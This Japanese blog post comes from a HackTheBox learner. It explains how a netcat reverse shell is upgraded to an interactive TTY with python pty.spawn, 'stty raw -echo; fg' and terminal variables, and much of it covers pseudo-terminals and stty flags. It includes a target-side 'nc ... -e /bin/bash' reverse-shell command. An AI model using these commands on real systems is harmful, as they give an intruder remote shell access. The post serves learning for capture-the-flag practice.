リバースシェルを張ってシェルをアップグレードする際、何をやっているのか

だいたい一年ぶりに記事を書いています。

今年はもう少し、記事を書いていきたですね。

この記事では、リバースシェルを張ってシェルをアップグレードする際、一体何をやっているのかについて説明していきたいと思います。 ここでシェルをアップグレードといっているのは、矢印キーでコマンド履歴を参照できたり、tabでコマンドを補完できるようにするということを言っています。

このテーマにしようと思った理由は、最近HackTheBoxというプラットフォームで遊んでいるのですが、その際、リバースシェルを張った後、特に裏側の仕組みを分かっていないままシェルをアップグレードしていたので、このままではマズいと思って記事を書こうと思ったわけです。

まずはコマンドを確認してから、各コマンドの意味を見ていこうと思います!!!

シェルをアップグレードするときに使うコマンド

まずはリバースシェルを準備しましょう。(HackTheBoxだと、まずここまでが大変ですよね笑)

kaliのncを使ってリバースシェルを張るときの場合を考えます。(頑張って対象のマシンに実行させましょう。)

  • マシン側
nc <kali ip> <kali port> -e /bin/bash
  • kali側
└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130

その後、自分は下のコマンドを実行しています

 python3 -c "import pty;pty.spawn('/bin/bash')"

そうするとこんな感じになります。

└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"    <- 入力
test@test:/var/www/app$ 
  • 以下の手順で、完全なシェルにアップグレードします。

  • Ctrl-Zでバックグラウンドで実行させる

└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"  
test@test:/var/www/app$  ^Z  <- Ctrl-Z実行
zsh: suspended  nc -nlvp 4444
  • sttyコマンドを実行後、fgでバックグラウンドで実行していたジョブをフォアグラウンドに戻します。
  • その後、TERMやSHELLなどの環境変数を設定していきます。
└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"  
test@test:/var/www/app$  ^Z
zsh: suspended  nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg   <- 入力
[1]  + continued  nc -nlvp 4444
                               export TERM=xterm-256color   <- 入力
test@test:/var/www/app$ export SHELL=bash    <- 入力

stty raw -echo; fgは絶対一行で実行してください。

そうすると完全なインタラクティブなシェルをゲットすることができます!!

また他の方法として、stty raw -echo; fg実行後、resetコマンドを実行する方法もあるようです。 実行すると、Terminal typeが聞かれるので、xterm-256colorを入力します。

└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"  
test@test:/var/www/app$  ^Z
zsh: suspended  nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg   <- 入力
[1]  + continued  nc -nlvp 4444
                               reset   <- 入力
reset: unknown terminal type unknown
Terminal type? xterm-256color    <- 入力

それではこのコマンドで何をやっているのでしょうか。分解していきましょう まずはpython3 -c "import pty;pty.spawn('/bin/bash')"についてです。

python3 -c "import pty;pty.spawn('/bin/bash')"

python3 -c

  • -cで指定された文字列をpython3として実行

import pty

  • python3のptyモジュールをインポート
  • docs.python.org
  • ptyモジュールとはなんぞ?
    • 上のリンクの最初にはこう書かれていました
      • pty モジュールは擬似端末(他のプロセスを実行してその制御をしている端末をプログラムで読み書きする)を制御する操作を定義しています。

    • この時点で、疑似端末って何????括弧の中も何言っているかよく分からないとなりました。
    • それでは次に疑似端末を調べていきます
疑似端末とは

擬似端末(ぎじたんまつ、英語: pseudo terminal)または疑似ターミナルとは、UNIXにおけるテキスト端末の擬似デバイスのマスター・スレーブのペアである。仮想コンソール、端末装置、シリアルポートハードウェアなどを使用しないテキスト端末のインターフェイスを提供する。これらのハードウェアの代わりに、擬似端末セッションの役割をソフトウェア(プロセス)が代用する。例えば、SSHなどでログインするとこの端末に接続される。

  • 以下のことが分かったような気がします

    • 擬似端末とはUNIXにおけるテキスト端末の擬似デバイスのマスター・スレーブのペア
    • 例えば、SSHなどでログインするとこの端末に接続される。
  • もう少し調べてみると

  • さらに調査を進める

    • kazmax.zpp.jp
    • このサイトでマスターとスレーブの記述がありました
    • サイトによると
      • プロセスが /dev/ptmx をオープンすると、そのプロセスには 擬似端末マスタ (pseudo-terminal master; PTM) へのファイル・ ディスクリプタが返され、 /dev/pts ディレクトリに擬似端末スレーブ (pseudo-terminal slave; PTS) デバイスが作成される。

      • スレーブに書かれたデータはマスタ・ディスクリプタに対する入力として扱われ、 マスタに書かれたデータはスレーブに対する入力として扱われる。

    • つまり、wikiで書かれていたマスタとスレーブの実体はファイルのことで、スレーブに書かれたデータはマスタの入力になって、マスタに書かれたデータはスレーブの入力になるという認識になりました
  • ここまでのことを実際に確かめてみましょう。スレーブに何かを入力してマスタに何か出力されるか試してみます。

  • /dev/ptsの確認
┌──(kali㉿kali)-[~]
└─$ ls -al /dev/pts
total 0
drwxr-xr-x  2 root root      0 May  1 01:56 .
drwxr-xr-x 17 root root   3240 May  1 02:24 ..
crw-------  1 kali tty  136, 0 May  1 03:32 0
c---------  1 root root   5, 2 May  1 01:56 ptmx
                                                      
  • lsの属性の結果に見慣れないcがありますね
  • どうやらこれは、キャラクタ型デバイスファイルを意味しているようです。
  • c以外何も書かれていませんが、rootで読み込みできるのでしょうか
┌──(root㉿kali)-[/home/kali]
└─# ls -al /dev/pts
total 0
drwxr-xr-x  2 root root      0 May  1 01:56 .
drwxr-xr-x 17 root root   3240 May  1 02:24 ..
crw-------  1 kali tty  136, 0 May  1 03:33 0
crw--w----  1 root tty  136, 1 May  1  2023 1
c---------  1 root root   5, 2 May  1 01:56 ptmx
                                                                                                              
┌──(root㉿kali)-[/home/kali]
└─# cat /dev/pts/ptmx

  • できましたが、何も出力されず、コマンドも終了しません
  • またrootになったら、/dev/pts配下に1というファイルが作成されました。これがrootのスレーブということでしょうか。
  • この/dev/pts/1に何かを書き込んでみます。
┌──(root㉿kali)-[/dev/pts]
└─# echo hoge > /dev/pts/1
  • そうすると確かに同じ文字列が表示されました。
┌──(root㉿kali)-[/home/kali]
└─# cat /dev/pts/ptmx
hoge
  • ここまで、疑似端末がなんであるか大分イメージがつきました。
  • 今までのことを自分の言葉でまとめると以下になりました。

    • 擬似端末とは、sshなどの時に使われるターミナルの入力とシェルのプロセスへの入力を橋渡しするもので、橋渡しにはデバイスファイルを使用している
  • ttyコマンドを使用すると、現在の自分の標準入力に接続されている端末のファイル名が出力されるようです。

┌──(root㉿kali)-[/home/kali]
└─# tty
/dev/pts/1

pty.spawn('/bin/bash')

  • 上記の分かったことから、ここでしていることは、標準入力を/bin/bashに渡す疑似端末を作成していると考えられます。
  • リバースシェルを張るコマンドにもよると思うのですが、ncなどでリバースシェルを張った際はttyコマンドを実行しても以下のようにnot a ttyと帰ってくるため、このような時にまずは疑似端末を作成しているのですね。
└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
tty
not a tty
  • ちなみに、端末が割り当てられていないシェルではsudoが実行できないようです。
  • sudo -lできないと権限昇格の時、きついのでpython3 -c "import pty;pty.spawn('/bin/bash')"はやっぱり必要ですね

まとめると

  • python3 -c "import pty;pty.spawn('/bin/bash')"を実行すると、疑似端末を作成し、それを経由して標準入力を/bin/bashに渡していることが分かります。

Ctrl-Zについて

以下でkali上の端末を設定をするために、一度バックグラウンドで実行するようにしておきます。

stty raw -echoについて

まずはsttyについてです。 どうやらこれは、端末の設定を表示したり、変更するコマンドのようです。

またこのコマンドを実行する事によって、入力をkaliのシェルから被害者マシン側のシェルに切り替えているようです。

いろいろ検索しても、しっくりくる解説がなかったので、sttyのhelpを見てコマンドを解釈していきます。

└─$ stty --help
Usage: stty [-F DEVICE | --file=DEVICE] [SETTING]...
  or:  stty [-F DEVICE | --file=DEVICE] [-a|--all]
  or:  stty [-F DEVICE | --file=DEVICE] [-g|--save]
Print or change terminal characteristics.

Mandatory arguments to long options are mandatory for short options too.
  -a, --all          print all current settings in human-readable form
  -g, --save         print all current settings in a stty-readable form
  -F, --file=DEVICE  open and use the specified DEVICE instead of stdin
      --help     display this help and exit
      --version  output version information and exit

Optional - before SETTING indicates negation.  An * marks non-POSIX
settings.  The underlying system defines which settings are available.

Special characters:
 * discard CHAR  CHAR will toggle discarding of output
   eof CHAR      CHAR will send an end of file (terminate the input)
   eol CHAR      CHAR will end the line
 * eol2 CHAR     alternate CHAR for ending the line
   erase CHAR    CHAR will erase the last character typed
   intr CHAR     CHAR will send an interrupt signal
   kill CHAR     CHAR will erase the current line
 * lnext CHAR    CHAR will enter the next character quoted
   quit CHAR     CHAR will send a quit signal
 * rprnt CHAR    CHAR will redraw the current line
   start CHAR    CHAR will restart the output after stopping it
   stop CHAR     CHAR will stop the output
   susp CHAR     CHAR will send a terminal stop signal
 * swtch CHAR    CHAR will switch to a different shell layer
 * werase CHAR   CHAR will erase the last word typed

Special settings:
   N             set the input and output speeds to N bauds
 * cols N        tell the kernel that the terminal has N columns
 * columns N     same as cols N
 * [-]drain      wait for transmission before applying settings (on by default)
   ispeed N      set the input speed to N
 * line N        use line discipline N
   min N         with -icanon, set N characters minimum for a completed read
   ospeed N      set the output speed to N
 * rows N        tell the kernel that the terminal has N rows
 * size          print the number of rows and columns according to the kernel
   speed         print the terminal speed
   time N        with -icanon, set read timeout of N tenths of a second

Control settings:
   [-]clocal     disable modem control signals
   [-]cread      allow input to be received
 * [-]crtscts    enable RTS/CTS handshaking
   csN           set character size to N bits, N in [5..8]
   [-]cstopb     use two stop bits per character (one with '-')
   [-]hup        send a hangup signal when the last process closes the tty
   [-]hupcl      same as [-]hup
   [-]parenb     generate parity bit in output and expect parity bit in input
   [-]parodd     set odd parity (or even parity with '-')
 * [-]cmspar     use "stick" (mark/space) parity

Input settings:
   [-]brkint     breaks cause an interrupt signal
   [-]icrnl      translate carriage return to newline
   [-]ignbrk     ignore break characters
   [-]igncr      ignore carriage return
   [-]ignpar     ignore characters with parity errors
 * [-]imaxbel    beep and do not flush a full input buffer on a character
   [-]inlcr      translate newline to carriage return
   [-]inpck      enable input parity checking
   [-]istrip     clear high (8th) bit of input characters
 * [-]iutf8      assume input characters are UTF-8 encoded
 * [-]iuclc      translate uppercase characters to lowercase
 * [-]ixany      let any character restart output, not only start character
   [-]ixoff      enable sending of start/stop characters
   [-]ixon       enable XON/XOFF flow control
   [-]parmrk     mark parity errors (with a 255-0-character sequence)
   [-]tandem     same as [-]ixoff

Output settings:
 * bsN           backspace delay style, N in [0..1]
 * crN           carriage return delay style, N in [0..3]
 * ffN           form feed delay style, N in [0..1]
 * nlN           newline delay style, N in [0..1]
 * [-]ocrnl      translate carriage return to newline
 * [-]ofdel      use delete characters for fill instead of NUL characters
 * [-]ofill      use fill (padding) characters instead of timing for delays
 * [-]olcuc      translate lowercase characters to uppercase
 * [-]onlcr      translate newline to carriage return-newline
 * [-]onlret     newline performs a carriage return
 * [-]onocr      do not print carriage returns in the first column
   [-]opost      postprocess output
 * tabN          horizontal tab delay style, N in [0..3]
 * tabs          same as tab0
 * -tabs         same as tab3
 * vtN           vertical tab delay style, N in [0..1]

Local settings:
   [-]crterase   echo erase characters as backspace-space-backspace
 * crtkill       kill all line by obeying the echoprt and echoe settings
 * -crtkill      kill all line by obeying the echoctl and echok settings
 * [-]ctlecho    echo control characters in hat notation ('^c')
   [-]echo       echo input characters
 * [-]echoctl    same as [-]ctlecho
   [-]echoe      same as [-]crterase
   [-]echok      echo a newline after a kill character
 * [-]echoke     same as [-]crtkill
   [-]echonl     echo newline even if not echoing other characters
 * [-]echoprt    echo erased characters backward, between '\' and '/'
 * [-]extproc    enable "LINEMODE"; useful with high latency links
 * [-]flusho     discard output
   [-]icanon     enable special characters: erase, kill, werase, rprnt
   [-]iexten     enable non-POSIX special characters
   [-]isig       enable interrupt, quit, and suspend special characters
   [-]noflsh     disable flushing after interrupt and quit special characters
 * [-]prterase   same as [-]echoprt
 * [-]tostop     stop background jobs that try to write to the terminal
 * [-]xcase      with icanon, escape with '\' for uppercase characters

Combination settings:
 * [-]LCASE      same as [-]lcase
   cbreak        same as -icanon
   -cbreak       same as icanon
   cooked        same as brkint ignpar istrip icrnl ixon opost isig
                 icanon, eof and eol characters to their default values
   -cooked       same as raw
   crt           same as echoe echoctl echoke
   dec           same as echoe echoctl echoke -ixany intr ^c erase 0177
                 kill ^u
 * [-]decctlq    same as [-]ixany
   ek            erase and kill characters to their default values
   evenp         same as parenb -parodd cs7
   -evenp        same as -parenb cs8
 * [-]lcase      same as xcase iuclc olcuc
   litout        same as -parenb -istrip -opost cs8
   -litout       same as parenb istrip opost cs7
   nl            same as -icrnl -onlcr
   -nl           same as icrnl -inlcr -igncr onlcr -ocrnl -onlret
   oddp          same as parenb parodd cs7
   -oddp         same as -parenb cs8
   [-]parity     same as [-]evenp
   pass8         same as -parenb -istrip cs8
   -pass8        same as parenb istrip cs7
   raw           same as -ignbrk -brkint -ignpar -parmrk -inpck -istrip
                 -inlcr -igncr -icrnl -ixon -ixoff -icanon -opost
                 -isig -iuclc -ixany -imaxbel -xcase min 1 time 0
   -raw          same as cooked
   sane          same as cread -ignbrk brkint -inlcr -igncr icrnl
                 icanon iexten echo echoe echok -echonl -noflsh
                 -ixoff -iutf8 -iuclc -ixany imaxbel -xcase -olcuc -ocrnl
                 opost -ofill onlcr -onocr -onlret nl0 cr0 tab0 bs0 vt0 ff0
                 isig -tostop -ofdel -echoprt echoctl echoke -extproc -flusho,
                 all special characters to their default values

Handle the tty line connected to standard input.  Without arguments,
prints baud rate, line discipline, and deviations from stty sane.  In
settings, CHAR is taken literally, or coded as in ^c, 0x37, 0177 or
127; special values ^- or undef used to disable special characters.

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation <https://www.gnu.org/software/coreutils/stty>
or available locally via: info '(coreutils) stty invocation'
                                          

stty raw -echoを実行しているので、関係してくるのは以下です。

   raw           same as -ignbrk -brkint -ignpar -parmrk -inpck -istrip
                 -inlcr -igncr -icrnl -ixon -ixoff -icanon -opost
                 -isig -iuclc -ixany -imaxbel -xcase min 1 time 0
   [-]echo       echo input characters

rawの解説は長くなりそうなので、まずは-echoからです。 sttyでは`-が否定の意味で使われているようで、-echoは入力を表示しないようにするということらしいです。

ためしに-echoなしでやってみます。resetを入力してみた結果です。入力した文字列がそのまま表示されてしまっています。

┌──(kali㉿kali)-[~]
└─$ stty raw ; fg
[1]  + continued  nc -nlvp 4444
                               reresetset^M
reset: unknown terminal type unknown
Terminal type?

それでは最後にrawについてなのですが、helpの内容から現在の端末に以下の設定を設定をしていることが分かります。

-ignbrk  -> ブレーク (break) 文字を無視しない
-brkint  -> ブレークによって割り込みシグナルを発生させない
-ignpar  -> パリティエラーの起こった文字を無視しない
-parmrk -> パリティエラーをマークしない
-inpck  ->入力のパリティチェック機能を有効にしない
-istrip  -> 入力文字の高位ビット (8 番目のビット) をクリアしない
-inlcr  -> 改行 (newline) 文字を復帰 (carriage return) 文字に変換しない
-igncr  -> 復帰文字を無視しない
-icrnl  -> 復帰文字を改行文字に変換しない
-ixon   -> XON/XOFF によるフローコントロールを有効にしない
-ixoff  -> システムの入力バッファが一杯になりかけたとき stop 文字を送り、 再び空になりかけたときに start 文字を送る機能を有効にしない
-icanon  -> erase, kill, werase, rprnt 各特殊文字を有効にしない
-opost  -> プロセス終了後に出力しない
-isig  -> interrupt, quit, suspend 各特殊文字を有効にしない
-iuclc  -> 大文字を小文字に変換しない
-ixany  -> どの文字でも出力を再開できるようにしない (`-ixany' で start 文字のみになる)
-imaxbel  -> 入力バッファが一杯なのに文字が入力されたときには、 ビープ音を発生して入力バッファをフラッシュしないようにしない
-xcase  -> icanon が設定されている場合、 入出力の大文字を対応する小文字に `\' を前置して表示可能にしない
min 1  -> icanonが設定されている場合、読み取り完了時の最小文字数を1文字に設定する
time 0  -> icanonが設定されている場合、読み出しのタイムアウトを10分のN秒に設定する

話が少し変わりまわすが、リバースシェル上で、Ctrl-Cなどを実行するとリバースシェル上のプロセスに対して実行したいのに、kali側の待ち受け側の処理が終了してしまいます。

これはCtrl-Cがkali側にもシグナルを送ってしまうため、このようなことが起きています。

kali上の入力を無効化し、被害者マシンにシグナルを送るようにしているのが、このrawの設定です。

ためしにkaliでstty raw -echoを実行してみます。

┌──(kali㉿kali)-[~]
└─$ stty raw -echo         
                                                                                                              
┌──(kali㉿kali)-[~]
                   └─$ sleep 100     
^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C

するとこのように、Ctrl-Cを押しても、プロセスは停止せず、シグナルが送られていない事が分かります。

またstty raw -echoのあと、連続してfgを実行しています これを別々のコマンドで実行すると、シェルのアップグレードに失敗するので注意が必要です。 実際にやってみると

└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"  
test@test:/var/www/app$  ^Z
zsh: suspended  nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo
                                                                                                              
┌──(kali㉿kali)-[~]
                   └─$ fg         
[1]  + continued  nc -nlvp 4444
                               reset^M^M^M^M^M^M^M^M

resetを入力しEnterを押したのですが、sttyコマンドにより、Enterのシグナルが無効化され、被害者マシン側に送られていません。 sttyとfgは同時に実行することによって、kaliの端末への入力の無効化と被害者マシン側へのシェルの切り替えを同時にしているということなのでしょう。なるほどなるほど。

resetについて

sttyのコマンドの後、このコマンドを実行しているサイトもありました。 まずこのコマンドは端末を設定をリセットし、端末を開いた直後と同等の状態にすることができるようです。 実行している理由は不明ですが、とりあえず初期化してみようということ感じでしょうか。

環境変数の設定

TERMとSHELLの二つを設定していました。 二つの変数の意味を調べていきます。

  • TERMについて

  • SHELLについて

    • ログインする際のシェルのパスが設定されている環境変数
  • exportで各環境変数を定義後、/bin/bashなどを実行することによって、環境変数が再読み込みされて、完全なシェルの状態になると思うのですが、exportだけで終わっている記事がたくさんありますね。なんででしょうかね。

おわり

今回のような内容でも詳しく調べていくだけで、かなり時間かかっているので、もう少し軽めの内容を継続して出せるようにしていきたいですね。